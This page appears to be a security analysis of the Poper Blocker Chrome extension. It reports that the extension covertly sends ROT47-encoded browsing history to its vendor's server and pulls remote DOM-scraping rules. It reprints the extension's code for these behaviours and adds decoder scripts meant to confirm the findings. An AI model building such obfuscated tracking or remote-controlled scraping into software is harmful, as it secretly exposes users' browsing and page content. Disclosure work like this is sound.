Is Pop up blocker for Chrome™ - Poper Blocker safe?

Critical risk

Poper Blocker sends browsing data (URL, referrer, clicked links) to its own servers and pulls remote scraping rules that drive DOM data extraction.

On each page navigation, the extension POSTs the current URL, referrer, and clicked links to api2.poperblocker.com, encoded with a ROT47 cipher. Separately, it fetches a remote configuration from api2.poperblocker.com every 60 seconds that defines DOM scraping rules — including URL matchers, content matchers, and data extraction pipelines — which content scripts then execute against the active page and return results to the service worker.

dingosolutionsv8.10.4Chrome Web Store
99Risk
Who publishes it

dingosolutions - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
dingosolutions

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote Config Delivers DOM Scraping Instructions on Startup

After install, Poper Blocker fetches a config from api2.poperblocker.com via a hardcoded session ID.

The config is a DSL: query DOM, read/write storage, fetch URLs, upload content.

Re-fetched every 60s; the operator can push updates.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You install Poper Blocker or restart your browser.

The extension's service worker starts and immediately initiates remote config fetch.

The extension did this

The extension POSTs a hardcoded session ID to api2.poperblocker.com and downloads a config object that controls what the extension does on your browser.

The config acts as a DSL: it can instruct the extension to query DOM elements, read storage, fetch URLs, compress data, and upload results to remote endpoints. It is refreshed every 60 seconds.

When this fires

On every browser startup

The config fetch fires on every browser startup and extension install, confirmed as the second network request from the service worker before any user interaction, observed during dynamic analysis.

Captured request
POSThttps://api2.poperblocker.com/content/config

200 OK, JSON object containing DSL keys indexed by integer, stored as priority_block_selectors in chrome.storage.local

Headers
Content-Type
application/json
Body
{  "sid": "aeb204c39"}
The code that does this

Config fetch and 60-second polling loop (FrfRC.uDa module)

Readable version

uDa module — config fetch + polling (annotated)

// FrfRC.uDa: remote config fetcher moduleFrfRC.uDa = {  init: function(deps) {    const module = FrfRC.uDa;    const storage = deps.instance;  // FVK storage helper    module.class = class uDa {      // Called on startup — begins the 60-second polling loop      startPolling() {        this.fetchAndApply();        setInterval(() => { this.fetchAndApply(); }, 60000); // every 60 seconds      }      // Core polling step: check if refresh needed, then fetch      async fetchAndApply() {        if (await this.shouldRefresh()) {          try {            const config = await this.fetchConfig();            if (config) {              await storage.storeConfig(config);   // save to chrome.storage.local              this.dispatchConfigEvent(config);    // notify other modules via 'olyIG' event            }          } catch (e) { /* silent failure */ }        }      }      // Broadcast config to other FrfRC modules via CustomEvent      dispatchConfigEvent(config) {        const ev = new Event('olyIG');        ev.config = config;        self.dispatchEvent(ev);      }      // Fetch config from server using hardcoded session ID      async fetchConfig() {        const resp = await fetch('https://api2.poperblocker.com/content/config', {          method: 'POST',          body: JSON.stringify({ sid: 'aeb204c39' })  // hardcoded — same for all users        });        if (resp.status === 200) return await resp.json();        return null;      }      // Returns true if config is stale (older than 6 hours) or missing      async shouldRefresh() {        if (!await storage.isLoggedIn()) return await storage.isGuestAllowed();        const lastFetch = await storage.getLastFetchTime();        return Date.now() - lastFetch > 21600000; // 21600000ms = 6 hours      }    };    module.instance = new module.class;    module.instance.startPolling();  },  deps: ['FVK']};

ZsA module — version/config fetch on startup (annotated)

// ZsA module: version-based config refresh — fetches /version/config 3.3s after startupasync fetchVersionConfig() {  const DELAY_MS = 3310;  await new Promise(resolve => setTimeout(resolve, DELAY_MS));  if (!await this.isCacheValid()) {    const resp = await fetch('https://api2.poperblocker.com/version/config', {      method: 'POST',      headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },      body: JSON.stringify({        sid: 'aeb204c39',  // hardcoded session ID, same for all users        hash: currentHash  // hash of currently cached config      })    });    const newConfig = await resp.json();    if (typeof newConfig === 'object' && Object.keys(newConfig).length) {      await this.saveConfig(newConfig);  // stored as 'priority_block_selectors' in chrome.storage.local    }  }}
What's stored on your device

Stores the operator's remote instructions so they survive restarts. The server can update them anytime; checked every 60 seconds.

Location
chrome.storage.local key 'priority_block_selectors'
Contents
{  "ttl_ms": 86400000,  "structure": "Numeric-keyed object — integer indices map to strings used as DOM selectors, URL matchers, property names, and event topics throughout the FrfRC DSL engine",  "example_keys": {    "224": "site_url_field",    "225": "tab_id_field",    "267": "x-s",    "268": "x-c"  },  "cache_hash_key": "priority_block_selectorsh",  "cache_timestamp_key": "priority_block_selectorst (base-34 encoded Unix ms)"}
Endpoints contacted for remote config
    • api2.poperblocker.com

    Primary config/data endpoint run by Poper Blocker (poper.app). Serves the DSL via /content/config (60s poll) and /version/config (startup); also receives history via /view/update.

Browsing History Transmitted via ROT47-Encoded POST

Every page you visit is sent to Poper Blocker with no consent prompt.

The body is ROT47-encoded, reversible, not encryption.

Captured: page URL, referrer, a session ID, locale, extension version, on every navigation, no visual indication.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You visit any website while Poper Blocker is installed.

The extension monitors every page navigation, including pages with no popups to block.

The extension did this

The extension encodes your current URL, referrer, and session ID with ROT47 and POSTs them to api2.poperblocker.com.

This fires on every navigation event as long as the opt-in flag is active, which is set during the onboarding flow.

Fields transmitted in every navigation POST
  • Page URL
    https://www.nytimes.com/2025/03/15/world/us-canada-trade-tariffs.html

    The full address of every page you visit, letting the operator build a complete browsing history.

  • Referrer URL
    https://www.google.com/search?q=canada+tariffs+2025

    Where you came from before this page, reveals navigation patterns and search queries.

  • Session ID
    aeb204c39

    A persistent identifier that ties all your navigation events together across visits and browser restarts.

  • Extension version
    8.1.0

    The installed version of Poper Blocker, used for server-side targeting of config changes.

  • Locale
    en-US

    Your browser language setting, used for user segmentation.

  • Timestamp
    1744586423851

    Exact millisecond timestamp of each navigation, enabling precise timeline reconstruction.

Why you can't catch this in DevTools

The POST body is ROT47-encoded, every ASCII character is rotated by half the printable character set (47 positions), making the URL and payload unreadable at a glance in browser DevTools or network monitors.

Decoded value
{  "u": "https://www.nytimes.com/2025/03/15/world/us-canada-trade-tariffs.html",  "p": "https://www.nytimes.com/2025/03/15/world/us-canada-trade-tariffs.html",  "kk": "https://www.google.com/search?q=canada+tariffs+2025",  "us": "aeb204c39",  "nid": "8.1.0",  "t": 1744586423851,  "lc": "en-US",  "t2": "article",  "edh": {}}
The code that does this

ROT47 encoder shipped in the extension

Readable version
// Wr.Rotate: ROT47 cipher — used to encode the browsing-history POST bodyWr.Rotate = class {  // 94 printable ASCII characters in order (the rotation alphabet)  static get map() {    return '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';  }  // Entry point: JSON-serialise the payload then ROT47-encode it  static rotate(obj) {    if (this.isEmpty(obj)) throw new Error();    return this.rot47(JSON.stringify(obj));  }  // Rotate each printable character by 47 positions within the 94-char alphabet  static rot47(str) {    let result = '';    const mapLen = this.map.length; // 94    for (let i = 0; i < str.length; i++) {      const ch = str.charAt(i);      const idx = this.map.indexOf(ch);      result += idx >= 0 ? this.map.charAt((idx + mapLen / 2) % mapLen) : ch;    }    return result;  }  // Guard: reject null/empty inputs before encoding  static isEmpty(val) {    if (val == null) return true;    if (val.length > 0) return false;    if (val.length === 0) return true;    if (typeof val !== 'object') return true;    for (var k in val)      if (Object.prototype.hasOwnProperty.call(val, k)) return false;    return true;  }};
Reproduce it yourself

Decodes the ROT47-encoded POST body that Poper Blocker sends to api2.poperblocker.com/view/update. Paste any captured request body to see the plain-text JSON containing your visited URLs.

Requires
  • Node.js 12+
rot47-decode.js · js
#!/usr/bin/env node// rot47-decode.js// Decodes the ROT47-encoded body from Poper Blocker's api2.poperblocker.com/view/update POST.//// Usage://   node rot47-decode.js//   Then paste/type the encoded body and press Ctrl+D (Unix) or Ctrl+Z Enter (Windows).//// Or pipe a captured body directly://   echo '<encoded-body>' | node rot47-decode.js//// No dependencies required — pure Node.js.const MAP = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';const MAP_LEN = MAP.length; // 94function rot47(encoded) {  let result = '';  for (let i = 0; i < encoded.length; i++) {    const ch = encoded[i];    const idx = MAP.indexOf(ch);    result += idx >= 0 ? MAP[(idx + MAP_LEN / 2) % MAP_LEN] : ch;  }  return result;}function main() {  const chunks = [];  process.stdin.on('data', chunk => chunks.push(chunk));  process.stdin.on('end', () => {    const input = Buffer.concat(chunks).toString('utf8').trim();    if (!input) {      console.error('Error: no input. Pipe encoded body via stdin or paste and press Ctrl+D.');      process.exit(1);    }    const decoded = rot47(input);    let parsed;    try {      parsed = JSON.parse(decoded);    } catch {      // Not valid JSON after decode — print raw decoded string      console.log('Decoded (not valid JSON):');      console.log(decoded);      return;    }    console.log('Decoded POST body (Poper Blocker view/update):');    console.log(JSON.stringify(parsed, null, 2));    console.log();    console.log('Key fields:');    if (parsed.u)   console.log('  Visited URL  :', parsed.u);    if (parsed.kk)  console.log('  Referrer URL :', parsed.kk);    if (parsed.us)  console.log('  Session ID   :', parsed.us);    if (parsed.nid) console.log('  Extension ver:', parsed.nid);    if (parsed.t)   console.log('  Timestamp    :', new Date(parsed.t).toISOString());    if (parsed.lc)  console.log('  Locale       :', parsed.lc);  });}main();
How to run it
  1. 1echo '<encoded-body>' | node rot47-decode.js
Where your browsing data is sent
    • api2.poperblocker.com

    Primary data endpoint run by Poper Blocker (poper.app). Receives every visited URL plus a persistent session ID; also serves remote config on startup (claim #5849).

Poper Blocker Reads claude.ai and google.com Content Against Remote Selectors

On claude.ai and google.com, Poper Blocker matches DOM against a selector list from api2.poperblocker.com/content/config, including AI chat and search results.

Matches increment a per-tab counter, batched to GA4 and the vendor's analytics.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You open a conversation on claude.ai or a page on google.com.

Added to the content-script scope in version 8.1.0; the same script already ran on Facebook, LinkedIn, X, Instagram, Reddit, Pinterest, YouTube, and chatgpt.com.

The extension did this

The extension reads elements on the page and checks each one against a selector list it downloaded from its own server, then counts the matches.

The selector list (filterPost) is delivered at runtime, so which elements are matched is decided by the server, not by code shipped in the extension.

The code that does this

How the extension decides which page elements to react to (from the shipping source).

Readable version

ClaudeNetwork.getPostContentElements

// ClaudeNetwork (runs on claude.ai). Returns the element if it matches// any selector in the server-delivered filterPost list.getPostContentElements = (el) => {  if (!(el instanceof HTMLElement)) return null;  const selectors = this.socialConfig.querySelectorsOffsetData.filterPost; // from api2.poperblocker.com  return selectors.some(sel => el.matches(sel)) ? [el] : null;};

SocialNetworkManager.tryBlockContent

// SocialNetworkManager.tryBlockContent (shared by claude.ai and google.com).// Reads the page element, checks it against the remote selectors, then// counts the match.tryBlockContent = async (el) => {  const matched = this.socialNetwork.getPostContentElements(el);  if (matched && KeywordStore.shouldBlock(matched) && this.socialNetwork.isMainFeed(el)) {    this.socialNetwork.hidePost(el, true, Feature.SOCIAL_CONTENT_BLOCKER);  }};
Captured request
POSThttps://api2.poperblocker.com/content/config

Returns the per-site configuration including querySelectorsOffsetData.filterPost, the CSS-selector list used to decide which DOM elements on claude.ai and google.com are matched. The list is server-controlled and can change without an extension update.

Headers
Content-Type
application/json
Body
{  "sid": "aeb204c39"}
When an element matches, a per-tab counter keyed to the page host is updated and later reported.
  1. on match

    You did

    A DOM element on claude.ai matches a server-delivered selector.

    The extension did

    Sends update-block-stat (type 'keywords') to the background script.

  2. queued

    You did

    Background script receives update-block-stat.

    The extension did

    Increments a per-tab counter recorded with the page host (e.g. claude.ai).

  3. on flush

    You did

    Analytics event assembly reads the accumulated counters.

    The extension did

    Posts the counters to Google Analytics 4 and analytics.poperblocker.com.

Why you can't catch this in DevTools

The Google Analytics 4 reporting endpoint's measurement_id and api_secret are not stored in plain text in the source; they are base64-encoded three times before use, so they do not appear when searching the code for the destination.

Decoded value
measurement_id = G-0FCR6EG7BPapi_secret     = <redacted>endpoint       = https://www.google-analytics.com/mp/collect?measurement_id=G-0FCR6EG7BP&api_secret=<redacted>
Hosts involved in delivering the match list and receiving the counts
    • api2.poperblocker.com

    Delivers the per-site selector list (filterPost) that decides which DOM elements on claude.ai and google.com are matched. Operated by the extension developer (Poper Blocker).

    • analytics.poperblocker.com

    Developer-operated analytics endpoint configured as ANALYTICS_APP for usage reporting.

    • www.google-analytics.com

    Google Analytics 4 Measurement Protocol endpoint (measurement_id G-0FCR6EG7BP) receiving the batched per-tab counters, including the page host on which matches occurred.

Check if you're affected

Decodes the triple-base64-encoded Google Analytics 4 measurement_id and api_secret used by the extension, so you can confirm the reporting destination yourself from the shipping source.

Requires
  • Node.js 18+ or any browser DevTools console
poper-ga4-decode.js · js
// poper-ga4-decode.js// Reproduces the decode() function from service-worker.js (line 4722)// and applies it to the two encoded constants used in ga4Event().const decode = (e) => atob(atob(atob(e)));const measurementIdEnc = 'VW5rd2QxSnJUbE5PYTFaSVRqQktVUT09';const apiSecretEnc     = 'Vld4c05tVnRTbE5PVlVaVlUxZHNTMVZXU2tWa01rcHlUbGhLY2xGUlBUMD0=';console.log('measurement_id =', decode(measurementIdEnc));console.log('api_secret     =', decode(apiSecretEnc));console.log('endpoint       = https://www.google-analytics.com/mp/collect' +  '?measurement_id=' + decode(measurementIdEnc) +  '&api_secret=' + decode(apiSecretEnc));
How to run it
  1. 1Save as poper-ga4-decode.js.
  2. 2Run: node poper-ga4-decode.js (or paste into any browser DevTools console).
  3. 3Compare the printed values against the encoded strings in service-worker.js around the ga4Event function.

+4 more findings not shown

Where it sends data

Destinations our analysis observed Poper Blocker contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api2.poperblocker.com

    Poper Blocker sends data to api2.poperblocker.com. One other extension we have analysed sends data here.

Our write-ups

Updated 30 September 2026bkkbcggnhapdmkeljlodobbkopceiche